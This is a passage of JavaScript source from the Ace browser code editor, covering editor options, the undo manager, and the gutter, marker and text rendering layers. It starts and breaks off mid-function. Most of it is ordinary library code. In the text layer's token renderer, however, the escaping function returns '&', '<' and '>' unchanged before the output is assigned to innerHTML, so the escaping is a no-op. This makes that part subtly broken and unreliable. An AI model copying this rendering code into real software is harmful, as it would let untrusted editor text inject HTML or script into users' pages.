scrollAnchor.style.left = pos.left + "px";
scrollAnchor.style.height = config.lineHeight + "px";
scrollAnchor.scrollIntoView(shouldScroll);
}
shouldScroll = rect = null;
}
});
this.setAutoScrollEditorIntoView = function(enable) {
if (enable)
return;
delete this.setAutoScrollEditorIntoView;
this.off("changeSelection", onChangeSelection);
this.renderer.off("afterRender", onAfterRender);
this.renderer.off("beforeRender", onBeforeRender);
};
};
this.$resetCursorStyle = function() {
var style = this.$cursorStyle || "ace";
var cursorLayer = this.renderer.$cursorLayer;
if (!cursorLayer)
return;
cursorLayer.setSmoothBlinking(/smooth/.test(style));
cursorLayer.isBlinking = !this.$readOnly && style != "wide";
dom.setCssClass(cursorLayer.element, "ace_slim-cursors", /slim/.test(style));
};
}).call(Editor.prototype);
config.defineOptions(Editor.prototype, "editor", {
selectionStyle: {
set: function(style) {
this.onSelectionChange();
this._signal("changeSelectionStyle", {data: style});
},
initialValue: "line"
},
highlightActiveLine: {
set: function() {this.$updateHighlightActiveLine();},
initialValue: true
},
highlightSelectedWord: {
set: function(shouldHighlight) {this.$onSelectionChange();},
initialValue: true
},
readOnly: {
set: function(readOnly) {
this.$resetCursorStyle();
},
initialValue: false
},
cursorStyle: {
set: function(val) { this.$resetCursorStyle(); },
values: ["ace", "slim", "smooth", "wide"],
initialValue: "ace"
},
mergeUndoDeltas: {
values: [false, true, "always"],
initialValue: true
},
behavioursEnabled: {initialValue: true},
wrapBehavioursEnabled: {initialValue: true},
autoScrollEditorIntoView: {
set: function(val) {this.setAutoScrollEditorIntoView(val);}
},
keyboardHandler: {
set: function(val) { this.setKeyboardHandler(val); },
get: function() { return this.keybindingId; },
handlesSet: true
},
hScrollBarAlwaysVisible: "renderer",
vScrollBarAlwaysVisible: "renderer",
highlightGutterLine: "renderer",
animatedScroll: "renderer",
showInvisibles: "renderer",
showPrintMargin: "renderer",
printMarginColumn: "renderer",
printMargin: "renderer",
fadeFoldWidgets: "renderer",
showFoldWidgets: "renderer",
showLineNumbers: "renderer",
showGutter: "renderer",
displayIndentGuides: "renderer",
fontSize: "renderer",
fontFamily: "renderer",
maxLines: "renderer",
minLines: "renderer",
scrollPastEnd: "renderer",
fixedWidthGutter: "renderer",
theme: "renderer",
scrollSpeed: "$mouseHandler",
dragDelay: "$mouseHandler",
dragEnabled: "$mouseHandler",
focusTimout: "$mouseHandler",
tooltipFollowsMouse: "$mouseHandler",
firstLineNumber: "session",
overwrite: "session",
newLineMode: "session",
useWorker: "session",
useSoftTabs: "session",
tabSize: "session",
wrap: "session",
indentedSoftWrap: "session",
foldStyle: "session",
mode: "session"
});
exports.Editor = Editor;
});
ace.define("ace/undomanager",["require","exports","module"], function(require, exports, module) {
"use strict";
var UndoManager = function() {
this.reset();
};
(function() {
this.execute = function(options) {
var deltaSets = options.args[0];
this.$doc = options.args[1];
if (options.merge && this.hasUndo()){
this.dirtyCounter--;
deltaSets = this.$undoStack.pop().concat(deltaSets);
}
this.$undoStack.push(deltaSets);
this.$redoStack = [];
if (this.dirtyCounter < 0) {
this.dirtyCounter = NaN;
}
this.dirtyCounter++;
};
this.undo = function(dontSelect) {
var deltaSets = this.$undoStack.pop();
var undoSelectionRange = null;
if (deltaSets) {
undoSelectionRange = this.$doc.undoChanges(deltaSets, dontSelect);
this.$redoStack.push(deltaSets);
this.dirtyCounter--;
}
return undoSelectionRange;
};
this.redo = function(dontSelect) {
var deltaSets = this.$redoStack.pop();
var redoSelectionRange = null;
if (deltaSets) {
redoSelectionRange =
this.$doc.redoChanges(this.$deserializeDeltas(deltaSets), dontSelect);
this.$undoStack.push(deltaSets);
this.dirtyCounter++;
}
return redoSelectionRange;
};
this.reset = function() {
this.$undoStack = [];
this.$redoStack = [];
this.dirtyCounter = 0;
};
this.hasUndo = function() {
return this.$undoStack.length > 0;
};
this.hasRedo = function() {
return this.$redoStack.length > 0;
};
this.markClean = function() {
this.dirtyCounter = 0;
};
this.isClean = function() {
return this.dirtyCounter === 0;
};
this.$serializeDeltas = function(deltaSets) {
return cloneDeltaSetsObj(deltaSets, $serializeDelta);
};
this.$deserializeDeltas = function(deltaSets) {
return cloneDeltaSetsObj(deltaSets, $deserializeDelta);
};
function $serializeDelta(delta){
return {
action: delta.action,
start: delta.start,
end: delta.end,
lines: delta.lines.length == 1 ? null : delta.lines,
text: delta.lines.length == 1 ? delta.lines[0] : null
};
}
function $deserializeDelta(delta) {
return {
action: delta.action,
start: delta.start,
end: delta.end,
lines: delta.lines || [delta.text]
};
}
function cloneDeltaSetsObj(deltaSets_old, fnGetModifiedDelta) {
var deltaSets_new = new Array(deltaSets_old.length);
for (var i = 0; i < deltaSets_old.length; i++) {
var deltaSet_old = deltaSets_old[i];
var deltaSet_new = { group: deltaSet_old.group, deltas: new Array(deltaSet_old.length)};
for (var j = 0; j < deltaSet_old.deltas.length; j++) {
var delta_old = deltaSet_old.deltas[j];
deltaSet_new.deltas[j] = fnGetModifiedDelta(delta_old);
}
deltaSets_new[i] = deltaSet_new;
}
return deltaSets_new;
}
}).call(UndoManager.prototype);
exports.UndoManager = UndoManager;
});
ace.define("ace/layer/gutter",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter"], function(require, exports, module) {
"use strict";
var dom = require("../lib/dom");
var oop = require("../lib/oop");
var lang = require("../lib/lang");
var EventEmitter = require("../lib/event_emitter").EventEmitter;
var Gutter = function(parentEl) {
this.element = dom.createElement("div");
this.element.className = "ace_layer ace_gutter-layer";
parentEl.appendChild(this.element);
this.setShowFoldWidgets(this.$showFoldWidgets);
this.gutterWidth = 0;
this.$annotations = [];
this.$updateAnnotations = this.$updateAnnotations.bind(this);
this.$cells = [];
};
(function() {
oop.implement(this, EventEmitter);
this.setSession = function(session) {
if (this.session)
this.session.removeEventListener("change", this.$updateAnnotations);
this.session = session;
if (session)
session.on("change", this.$updateAnnotations);
};
this.addGutterDecoration = function(row, className){
if (window.console)
console.warn && console.warn("deprecated use session.addGutterDecoration");
this.session.addGutterDecoration(row, className);
};
this.removeGutterDecoration = function(row, className){
if (window.console)
console.warn && console.warn("deprecated use session.removeGutterDecoration");
this.session.removeGutterDecoration(row, className);
};
this.setAnnotations = function(annotations) {
this.$annotations = [];
for (var i = 0; i < annotations.length; i++) {
var annotation = annotations[i];
var row = annotation.row;
var rowInfo = this.$annotations[row];
if (!rowInfo)
rowInfo = this.$annotations[row] = {text: []};
var annoText = annotation.text;
annoText = annoText ? lang.escapeHTML(annoText) : annotation.html || "";
if (rowInfo.text.indexOf(annoText) === -1)
rowInfo.text.push(annoText);
var type = annotation.type;
if (type == "error")
rowInfo.className = " ace_error";
else if (type == "warning" && rowInfo.className != " ace_error")
rowInfo.className = " ace_warning";
else if (type == "info" && (!rowInfo.className))
rowInfo.className = " ace_info";
}
};
this.$updateAnnotations = function (delta) {
if (!this.$annotations.length)
return;
var firstRow = delta.start.row;
var len = delta.end.row - firstRow;
if (len === 0) {
} else if (delta.action == 'remove') {
this.$annotations.splice(firstRow, len + 1, null);
} else {
var args = new Array(len + 1);
args.unshift(firstRow, 1);
this.$annotations.splice.apply(this.$annotations, args);
}
};
this.update = function(config) {
var session = this.session;
var firstRow = config.firstRow;
var lastRow = Math.min(config.lastRow + config.gutterOffset, // needed to compensate for hor scollbar
session.getLength() - 1);
var fold = session.getNextFoldLine(firstRow);
var foldStart = fold ? fold.start.row : Infinity;
var foldWidgets = this.$showFoldWidgets && session.foldWidgets;
var breakpoints = session.$breakpoints;
var decorations = session.$decorations;
var firstLineNumber = session.$firstLineNumber;
var lastLineNumber = 0;
var gutterRenderer = session.gutterRenderer || this.$renderer;
var cell = null;
var index = -1;
var row = firstRow;
while (true) {
if (row > foldStart) {
row = fold.end.row + 1;
fold = session.getNextFoldLine(row, fold);
foldStart = fold ? fold.start.row : Infinity;
}
if (row > lastRow) {
while (this.$cells.length > index + 1) {
cell = this.$cells.pop();
this.element.removeChild(cell.element);
}
break;
}
cell = this.$cells[++index];
if (!cell) {
cell = {element: null, textNode: null, foldWidget: null};
cell.element = dom.createElement("div");
cell.textNode = document.createTextNode('');
cell.element.appendChild(cell.textNode);
this.element.appendChild(cell.element);
this.$cells[index] = cell;
}
var className = "ace_gutter-cell ";
if (breakpoints[row])
className += breakpoints[row];
if (decorations[row])
className += decorations[row];
if (this.$annotations[row])
className += this.$annotations[row].className;
if (cell.element.className != className)
cell.element.className = className;
var height = session.getRowLength(row) * config.lineHeight + "px";
if (height != cell.element.style.height)
cell.element.style.height = height;
if (foldWidgets) {
var c = foldWidgets[row];
if (c == null)
c = foldWidgets[row] = session.getFoldWidget(row);
}
if (c) {
if (!cell.foldWidget) {
cell.foldWidget = dom.createElement("span");
cell.element.appendChild(cell.foldWidget);
}
var className = "ace_fold-widget ace_" + c;
if (c == "start" && row == foldStart && row < fold.end.row)
className += " ace_closed";
else
className += " ace_open";
if (cell.foldWidget.className != className)
cell.foldWidget.className = className;
var height = config.lineHeight + "px";
if (cell.foldWidget.style.height != height)
cell.foldWidget.style.height = height;
} else {
if (cell.foldWidget) {
cell.element.removeChild(cell.foldWidget);
cell.foldWidget = null;
}
}
var text = lastLineNumber = gutterRenderer
? gutterRenderer.getText(session, row)
: row + firstLineNumber;
if (text !== cell.textNode.data)
cell.textNode.data = text;
row++;
}
this.element.style.height = config.minHeight + "px";
if (this.$fixedWidth || session.$useWrapMode)
lastLineNumber = session.getLength() + firstLineNumber;
var gutterWidth = gutterRenderer
? gutterRenderer.getWidth(session, lastLineNumber, config)
: lastLineNumber.toString().length * config.characterWidth;
var padding = this.$padding || this.$computePadding();
gutterWidth += padding.left + padding.right;
if (gutterWidth !== this.gutterWidth && !isNaN(gutterWidth)) {
this.gutterWidth = gutterWidth;
this.element.style.width = Math.ceil(this.gutterWidth) + "px";
this._emit("changeGutterWidth", gutterWidth);
}
};
this.$fixedWidth = false;
this.$showLineNumbers = true;
this.$renderer = "";
this.setShowLineNumbers = function(show) {
this.$renderer = !show && {
getWidth: function() {return "";},
getText: function() {return "";}
};
};
this.getShowLineNumbers = function() {
return this.$showLineNumbers;
};
this.$showFoldWidgets = true;
this.setShowFoldWidgets = function(show) {
if (show)
dom.addCssClass(this.element, "ace_folding-enabled");
else
dom.removeCssClass(this.element, "ace_folding-enabled");
this.$showFoldWidgets = show;
this.$padding = null;
};
this.getShowFoldWidgets = function() {
return this.$showFoldWidgets;
};
this.$computePadding = function() {
if (!this.element.firstChild)
return {left: 0, right: 0};
var style = dom.computedStyle(this.element.firstChild);
this.$padding = {};
this.$padding.left = parseInt(style.paddingLeft) + 1 || 0;
this.$padding.right = parseInt(style.paddingRight) || 0;
return this.$padding;
};
this.getRegion = function(point) {
var padding = this.$padding || this.$computePadding();
var rect = this.element.getBoundingClientRect();
if (point.x < padding.left + rect.left)
return "markers";
if (this.$showFoldWidgets && point.x > rect.right - padding.right)
return "foldWidgets";
};
}).call(Gutter.prototype);
exports.Gutter = Gutter;
});
ace.define("ace/layer/marker",["require","exports","module","ace/range","ace/lib/dom"], function(require, exports, module) {
"use strict";
var Range = require("../range").Range;
var dom = require("../lib/dom");
var Marker = function(parentEl) {
this.element = dom.createElement("div");
this.element.className = "ace_layer ace_marker-layer";
parentEl.appendChild(this.element);
};
(function() {
this.$padding = 0;
this.setPadding = function(padding) {
this.$padding = padding;
};
this.setSession = function(session) {
this.session = session;
};
this.setMarkers = function(markers) {
this.markers = markers;
};
this.update = function(config) {
if (!config) return;
this.config = config;
var html = [];
for (var key in this.markers) {
var marker = this.markers[key];
if (!marker.range) {
marker.update(html, this, this.session, config);
continue;
}
var range = marker.range.clipRows(config.firstRow, config.lastRow);
if (range.isEmpty()) continue;
range = range.toScreenRange(this.session);
if (marker.renderer) {
var top = this.$getTop(range.start.row, config);
var left = this.$padding + (this.session.$bidiHandler.isBidiRow(range.start.row)
? this.session.$bidiHandler.getPosLeft(range.start.column)
: range.start.column * config.characterWidth);
marker.renderer(html, range, left, top, config);
} else if (marker.type == "fullLine") {
this.drawFullLineMarker(html, range, marker.clazz, config);
} else if (marker.type == "screenLine") {
this.drawScreenLineMarker(html, range, marker.clazz, config);
} else if (range.isMultiLine()) {
if (marker.type == "text")
this.drawTextMarker(html, range, marker.clazz, config);
else
this.drawMultiLineMarker(html, range, marker.clazz, config);
} else {
if (this.session.$bidiHandler.isBidiRow(range.start.row)) {
this.drawBidiSingleLineMarker(html, range, marker.clazz + " ace_start" + " ace_br15", config);
} else {
this.drawSingleLineMarker(html, range, marker.clazz + " ace_start" + " ace_br15", config);
}
}
}
this.element.innerHTML = html.join("");
};
this.$getTop = function(row, layerConfig) {
return (row - layerConfig.firstRowScreen) * layerConfig.lineHeight;
};
function getBorderClass(tl, tr, br, bl) {
return (tl ? 1 : 0) | (tr ? 2 : 0) | (br ? 4 : 0) | (bl ? 8 : 0);
}
this.drawTextMarker = function(stringBuilder, range, clazz, layerConfig, extraStyle) {
var session = this.session;
var start = range.start.row;
var end = range.end.row;
var row = start;
var prev = 0;
var curr = 0;
var next = session.getScreenLastRowColumn(row);
var clazzModified = null;
var lineRange = new Range(row, range.start.column, row, curr);
for (; row <= end; row++) {
lineRange.start.row = lineRange.end.row = row;
lineRange.start.column = row == start ? range.start.column : session.getRowWrapIndent(row);
lineRange.end.column = next;
prev = curr;
curr = next;
next = row + 1 < end ? session.getScreenLastRowColumn(row + 1) : row == end ? 0 : range.end.column;
clazzModified = clazz + (row == start ? " ace_start" : "") + " ace_br"
+ getBorderClass(row == start || row == start + 1 && range.start.column, prev < curr, curr > next, row == end);
if (this.session.$bidiHandler.isBidiRow(row)) {
this.drawBidiSingleLineMarker(stringBuilder, lineRange, clazzModified,
layerConfig, row == end ? 0 : 1, extraStyle);
} else {
this.drawSingleLineMarker(stringBuilder, lineRange, clazzModified,
layerConfig, row == end ? 0 : 1, extraStyle);
}
}
};
this.drawMultiLineMarker = function(stringBuilder, range, clazz, config, extraStyle) {
var padding = this.$padding;
var height, top, left;
extraStyle = extraStyle || "";
if (this.session.$bidiHandler.isBidiRow(range.start.row)) {
var range1 = range.clone();
range1.end.row = range1.start.row;
range1.end.column = this.session.getLine(range1.start.row).length;
this.drawBidiSingleLineMarker(stringBuilder, range1, clazz + " ace_br1 ace_start", config, null, extraStyle);
} else {
height = config.lineHeight;
top = this.$getTop(range.start.row, config);
left = padding + range.start.column * config.characterWidth;
stringBuilder.push(
"<div class='", clazz, " ace_br1 ace_start' style='",
"height:", height, "px;",
"right:0;",
"top:", top, "px;",
"left:", left, "px;", extraStyle, "'></div>"
);
}
if (this.session.$bidiHandler.isBidiRow(range.end.row)) {
var range1 = range.clone();
range1.start.row = range1.end.row;
range1.start.column = 0;
this.drawBidiSingleLineMarker(stringBuilder, range1, clazz + " ace_br12", config, null, extraStyle);
} else {
var width = range.end.column * config.characterWidth;
height = config.lineHeight;
top = this.$getTop(range.end.row, config);
stringBuilder.push(
"<div class='", clazz, " ace_br12' style='",
"height:", height, "px;",
"width:", width, "px;",
"top:", top, "px;",
"left:", padding, "px;", extraStyle, "'></div>"
);
}
height = (range.end.row - range.start.row - 1) * config.lineHeight;
if (height <= 0)
return;
top = this.$getTop(range.start.row + 1, config);
var radiusClass = (range.start.column ? 1 : 0) | (range.end.column ? 0 : 8);
stringBuilder.push(
"<div class='", clazz, (radiusClass ? " ace_br" + radiusClass : ""), "' style='",
"height:", height, "px;",
"right:0;",
"top:", top, "px;",
"left:", padding, "px;", extraStyle, "'></div>"
);
};
this.drawSingleLineMarker = function(stringBuilder, range, clazz, config, extraLength, extraStyle) {
var height = config.lineHeight;
var width = (range.end.column + (extraLength || 0) - range.start.column) * config.characterWidth;
var top = this.$getTop(range.start.row, config);
var left = this.$padding + range.start.column * config.characterWidth;
stringBuilder.push(
"<div class='", clazz, "' style='",
"height:", height, "px;",
"width:", width, "px;",
"top:", top, "px;",
"left:", left, "px;", extraStyle || "", "'></div>"
);
};
this.drawBidiSingleLineMarker = function(stringBuilder, range, clazz, config, extraLength, extraStyle) {
var height = config.lineHeight, top = this.$getTop(range.start.row, config), padding = this.$padding;
var selections = this.session.$bidiHandler.getSelections(range.start.column, range.end.column);
selections.forEach(function(selection) {
stringBuilder.push(
"<div class='", clazz, "' style='",
"height:", height, "px;",
"width:", selection.width + (extraLength || 0), "px;",
"top:", top, "px;",
"left:", padding + selection.left, "px;", extraStyle || "", "'></div>"
);
});
};
this.drawFullLineMarker = function(stringBuilder, range, clazz, config, extraStyle) {
var top = this.$getTop(range.start.row, config);
var height = config.lineHeight;
if (range.start.row != range.end.row)
height += this.$getTop(range.end.row, config) - top;
stringBuilder.push(
"<div class='", clazz, "' style='",
"height:", height, "px;",
"top:", top, "px;",
"left:0;right:0;", extraStyle || "", "'></div>"
);
};
this.drawScreenLineMarker = function(stringBuilder, range, clazz, config, extraStyle) {
var top = this.$getTop(range.start.row, config);
var height = config.lineHeight;
stringBuilder.push(
"<div class='", clazz, "' style='",
"height:", height, "px;",
"top:", top, "px;",
"left:0;right:0;", extraStyle || "", "'></div>"
);
};
}).call(Marker.prototype);
exports.Marker = Marker;
});
ace.define("ace/layer/text",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var dom = require("../lib/dom");
var lang = require("../lib/lang");
var useragent = require("../lib/useragent");
var EventEmitter = require("../lib/event_emitter").EventEmitter;
var Text = function(parentEl) {
this.element = dom.createElement("div");
this.element.className = "ace_layer ace_text-layer";
parentEl.appendChild(this.element);
this.$updateEolChar = this.$updateEolChar.bind(this);
};
(function() {
oop.implement(this, EventEmitter);
this.EOF_CHAR = "\xB6";
this.EOL_CHAR_LF = "\xAC";
this.EOL_CHAR_CRLF = "\xa4";
this.EOL_CHAR = this.EOL_CHAR_LF;
this.TAB_CHAR = "\u2014"; //"\u21E5";
this.SPACE_CHAR = "\xB7";
this.$padding = 0;
this.$updateEolChar = function() {
var EOL_CHAR = this.session.doc.getNewLineCharacter() == "\n"
? this.EOL_CHAR_LF
: this.EOL_CHAR_CRLF;
if (this.EOL_CHAR != EOL_CHAR) {
this.EOL_CHAR = EOL_CHAR;
return true;
}
};
this.setPadding = function(padding) {
this.$padding = padding;
this.element.style.padding = "0 " + padding + "px";
};
this.getLineHeight = function() {
return this.$fontMetrics.$characterSize.height || 0;
};
this.getCharacterWidth = function() {
return this.$fontMetrics.$characterSize.width || 0;
};
this.$setFontMetrics = function(measure) {
this.$fontMetrics = measure;
this.$fontMetrics.on("changeCharacterSize", function(e) {
this._signal("changeCharacterSize", e);
}.bind(this));
this.$pollSizeChanges();
};
this.checkForSizeChanges = function() {
this.$fontMetrics.checkForSizeChanges();
};
this.$pollSizeChanges = function() {
return this.$pollSizeChangesTimer = this.$fontMetrics.$pollSizeChanges();
};
this.setSession = function(session) {
this.session = session;
if (session)
this.$computeTabString();
};
this.showInvisibles = false;
this.setShowInvisibles = function(showInvisibles) {
if (this.showInvisibles == showInvisibles)
return false;
this.showInvisibles = showInvisibles;
this.$computeTabString();
return true;
};
this.displayIndentGuides = true;
this.setDisplayIndentGuides = function(display) {
if (this.displayIndentGuides == display)
return false;
this.displayIndentGuides = display;
this.$computeTabString();
return true;
};
this.$tabStrings = [];
this.onChangeTabSize =
this.$computeTabString = function() {
var tabSize = this.session.getTabSize();
this.tabSize = tabSize;
var tabStr = this.$tabStrings = [0];
for (var i = 1; i < tabSize + 1; i++) {
if (this.showInvisibles) {
tabStr.push("<span class='ace_invisible ace_invisible_tab'>"
+ lang.stringRepeat(this.TAB_CHAR, i)
+ "</span>");
} else {
tabStr.push(lang.stringRepeat(" ", i));
}
}
if (this.displayIndentGuides) {
this.$indentGuideRe = /\s\S| \t|\t |\s$/;
var className = "ace_indent-guide";
var spaceClass = "";
var tabClass = "";
if (this.showInvisibles) {
className += " ace_invisible";
spaceClass = " ace_invisible_space";
tabClass = " ace_invisible_tab";
var spaceContent = lang.stringRepeat(this.SPACE_CHAR, this.tabSize);
var tabContent = lang.stringRepeat(this.TAB_CHAR, this.tabSize);
} else{
var spaceContent = lang.stringRepeat(" ", this.tabSize);
var tabContent = spaceContent;
}
this.$tabStrings[" "] = "<span class='" + className + spaceClass + "'>" + spaceContent + "</span>";
this.$tabStrings["\t"] = "<span class='" + className + tabClass + "'>" + tabContent + "</span>";
}
};
this.updateLines = function(config, firstRow, lastRow) {
if (this.config.lastRow != config.lastRow ||
this.config.firstRow != config.firstRow) {
this.scrollLines(config);
}
this.config = config;
var first = Math.max(firstRow, config.firstRow);
var last = Math.min(lastRow, config.lastRow);
var lineElements = this.element.childNodes;
var lineElementsIdx = 0;
for (var row = config.firstRow; row < first; row++) {
var foldLine = this.session.getFoldLine(row);
if (foldLine) {
if (foldLine.containsRow(first)) {
first = foldLine.start.row;
break;
} else {
row = foldLine.end.row;
}
}
lineElementsIdx ++;
}
var row = first;
var foldLine = this.session.getNextFoldLine(row);
var foldStart = foldLine ? foldLine.start.row : Infinity;
while (true) {
if (row > foldStart) {
row = foldLine.end.row+1;
foldLine = this.session.getNextFoldLine(row, foldLine);
foldStart = foldLine ? foldLine.start.row :Infinity;
}
if (row > last)
break;
var lineElement = lineElements[lineElementsIdx++];
if (lineElement) {
var html = [];
this.$renderLine(
html, row, !this.$useLineGroups(), row == foldStart ? foldLine : false
);
lineElement.style.height = config.lineHeight * this.session.getRowLength(row) + "px";
lineElement.innerHTML = html.join("");
}
row++;
}
};
this.scrollLines = function(config) {
var oldConfig = this.config;
this.config = config;
if (!oldConfig || oldConfig.lastRow < config.firstRow)
return this.update(config);
if (config.lastRow < oldConfig.firstRow)
return this.update(config);
var el = this.element;
if (oldConfig.firstRow < config.firstRow)
for (var row=this.session.getFoldedRowCount(oldConfig.firstRow, config.firstRow - 1); row>0; row--)
el.removeChild(el.firstChild);
if (oldConfig.lastRow > config.lastRow)
for (var row=this.session.getFoldedRowCount(config.lastRow + 1, oldConfig.lastRow); row>0; row--)
el.removeChild(el.lastChild);
if (config.firstRow < oldConfig.firstRow) {
var fragment = this.$renderLinesFragment(config, config.firstRow, oldConfig.firstRow - 1);
if (el.firstChild)
el.insertBefore(fragment, el.firstChild);
else
el.appendChild(fragment);
}
if (config.lastRow > oldConfig.lastRow) {
var fragment = this.$renderLinesFragment(config, oldConfig.lastRow + 1, config.lastRow);
el.appendChild(fragment);
}
};
this.$renderLinesFragment = function(config, firstRow, lastRow) {
var fragment = this.element.ownerDocument.createDocumentFragment();
var row = firstRow;
var foldLine = this.session.getNextFoldLine(row);
var foldStart = foldLine ? foldLine.start.row : Infinity;
while (true) {
if (row > foldStart) {
row = foldLine.end.row+1;
foldLine = this.session.getNextFoldLine(row, foldLine);
foldStart = foldLine ? foldLine.start.row : Infinity;
}
if (row > lastRow)
break;
var container = dom.createElement("div");
var html = [];
this.$renderLine(html, row, false, row == foldStart ? foldLine : false);
container.innerHTML = html.join("");
if (this.$useLineGroups()) {
container.className = 'ace_line_group';
fragment.appendChild(container);
container.style.height = config.lineHeight * this.session.getRowLength(row) + "px";
} else {
while(container.firstChild)
fragment.appendChild(container.firstChild);
}
row++;
}
return fragment;
};
this.update = function(config) {
this.config = config;
var html = [];
var firstRow = config.firstRow, lastRow = config.lastRow;
var row = firstRow;
var foldLine = this.session.getNextFoldLine(row);
var foldStart = foldLine ? foldLine.start.row : Infinity;
while (true) {
if (row > foldStart) {
row = foldLine.end.row+1;
foldLine = this.session.getNextFoldLine(row, foldLine);
foldStart = foldLine ? foldLine.start.row :Infinity;
}
if (row > lastRow)
break;
if (this.$useLineGroups())
html.push("<div class='ace_line_group' style='height:", config.lineHeight*this.session.getRowLength(row), "px'>");
this.$renderLine(html, row, false, row == foldStart ? foldLine : false);
if (this.$useLineGroups())
html.push("</div>"); // end the line group
row++;
}
this.element.innerHTML = html.join("");
};
this.$textToken = {
"text": true,
"rparen": true,
"lparen": true
};
this.$renderToken = function(stringBuilder, screenColumn, token, value) {
var self = this;
var replaceReg = /\t|&|<|>|( +)|([\x00-\x1f\x80-\xa0\xad\u1680\u180E\u2000-\u200f\u2028\u2029\u202F\u205F\u3000\uFEFF\uFFF9-\uFFFC])|[\u1100-\u115F\u11A3-\u11A7\u11FA-\u11FF\u2329-\u232A\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3000-\u303E\u3041-\u3096\u3099-\u30FF\u3105-\u312D\u3131-\u318E\u3190-\u31BA\u31C0-\u31E3\u31F0-\u321E\u3220-\u3247\u3250-\u32FE\u3300-\u4DBF\u4E00-\uA48C\uA490-\uA4C6\uA960-\uA97C\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFAFF\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFF01-\uFF60\uFFE0-\uFFE6]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
var replaceFunc = function(c, a, b, tabIdx, idx4) {
if (a) {
return self.showInvisibles
? "<span class='ace_invisible ace_invisible_space'>" + lang.stringRepeat(self.SPACE_CHAR, c.length) + "</span>"
: c;
} else if (c == "&") {
return "&";
} else if (c == "<") {
return "<";
} else if (c == ">") {
return ">";
} else if (c == "\t") {
var tabSize = self.session.getScreenTabSize(screenColumn + tabIdx);
screenColumn += tabSize - 1;
return self.$tabStrings[tabSize];
} else if (c == "\u3000") {
var classToUse = self.showInvisibles ? "ace_cjk ace_invisible ace_invisible_space" : "ace_cjk";
var space = self.showInvisibles ? self.SPACE_CHAR : "";
screenColumn += 1;
return "<span class='" + classToUse + "' style='width:" +
(self.config.characterWidth * 2) +
"px'>" + space + "</span>";
} else if (b) {
return "<span class='ace_invisible ace_invisible_space ace_invalid'>" + self.SPACE_CHAR + "</span>";
} else {
screenColumn += 1;
return "<span class='ace_cjk' style='width:" +
(self.config.characterWidth * 2) +
"px'>" + c + "</span>";
}
};
var output = value.replace(replaceReg, replaceFunc);
if (!this.$textToken[token.type]) {
var classes = "ace_" + token.type.replace(/\./g, " ace_");
var style = "";
if (token.type == "fold")
style = " style='width:" + (token.value.length * this.config.characterWidth) + "px;' ";
stringBuilder.push("<span class='", classes, "'", style, ">", output, "</span>");
}
else {
stringBuilder.push(output);
}
return screenColumn + value.length;
};
this.renderIndentGuide = function(stringBuilder, value, max) {
var cols = value.search(this.$indentGuideRe);
if (cols <= 0 || cols >= max)
return value;
if (value[0] == " ") {
cols -= cols % this.tabSize;
stringBuilder.push(lang.stringRepeat(this.$tabStrings[" "], cols/this.tabSize));
return value.substr(cols);
} else if (value[0] == "\t") {
stringBuilder.push(lang.stringRepeat(this.$tabStrings["\t"], cols));
return value.substr(cols);
}
return value;
};
this.$renderWrappedLine = function(stringBuilder, tokens, splits, onlyContents) {
var chars = 0;
var split = 0;
var splitChars = splits[0];
var screenColumn = 0;
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
var value = token.value;
if (i == 0 && this.displayIndentGuides) {
chars = value.length;
value = this.renderIndentGuide(stringBuilder, value, splitChars);
if (!value)
continue;
chars -= value.length;
}
if (chars + value.length < splitChars) {
screenColumn = this.$renderToken(stringBuilder, screenColumn, token, value);
chars += value.length;
} else {
while (chars + value.length >= splitChars) {
screenColumn = this.$renderToken(
stringBuilder, screenColumn,
token, value.substring(0, splitChars - chars)
);
value = value.substring(splitChars - chars);
chars = splitChars;
if (!onlyContents) {
stringBuilder.push("</div>",
"<div class='ace_line' style='height:",
this.config.lineHeight, "px'>"
);
}
stringBuilder.push(lang.stringRepeat("\xa0", splits.indent));
split ++;
screenColumn = 0;
splitChars = splits[split] || Number.MAX_VALUE;
}
if (value.length != 0) {
chars += value.length;
screenColumn = this.$renderToken(
stringBuilder, screenColumn, token, value
);
}
}
}
};
this.$renderSimpleLine = function(stringBuilder, tokens) {
var screenColumn = 0;
var token = tokens[0];
var value = token.value;
if (this.displayIndentGuides)
value = this.renderIndentGuide(stringBuilder, value);
if (value)
screenColumn = this.$renderToken(stringBuilder, screenColumn, token, value);
for (var i = 1; i < tokens.length; i++) {
token = tokens[i];
value = token.value;
screenColumn = this.$renderToken(stringBuilder, screenColumn, token, value);
}
};
this.$renderLine = function(stringBuilder, row, onlyContents, foldLine) {
if (!foldLine && foldLine != false)
foldLine = this.session.getFoldLine(row);
if (foldLine)
var tokens = this.$getFoldLineTokens(row, foldLine);
else
var tokens = this.session.getTokens(row);
if (!onlyContents) {
stringBuilder.push(
"<div class='ace_line' style='height:",
this.config.lineHeight * (
this.$useLineGroups() ? 1 :this.session.getRowLength(row)
), "px'>"
);
}
if (tokens.length) {
var splits = this.session.getRowSplitData(row);
if (splits && splits.length)
this.$renderWrappedLine(stringBuilder, tokens, splits, onlyContents);
else
this.$renderSimpleLine(stringBuilder, tokens);
}
if (this.showInvisibles) {
if (foldLine)
row = foldLine.end.row;
stringBuilder.push(
"<span class='ace_invisible ace_invisible_eol'>",
row == this.session.getLength() - 1 ? this.EOF_CHAR : this.EOL_CHAR,
"</span>"
);
}
if (!onlyContents)
stringBuilder.push("</div>");
};
this.$getFoldLineTokens = function(row, foldLine) {
var session = this.session;
var renderTokens = [];
function addTokens(tokens, from, to) {
var idx = 0, col = 0;
while ((col + tokens[idx].value.length) < from) {
col += tokens[idx].value.length;
idx++;
if (idx == tokens.length)
return;
}
if (col != from) {
var value = tokens[idx].value.substring(from - col);
if (value.length > (to - from))
value = value.substring(0, to - from);
renderTokens.push({
type: tokens[idx].type,
value: value
});
col = from + value.length;
idx += 1;
}
while (col < to && idx < tokens.length) {
var value = tokens[idx].value;
if (value.length + col > to) {
renderTokens.push({
type: tokens[idx].type,
value: value.substring(0, to - col)
});
} else
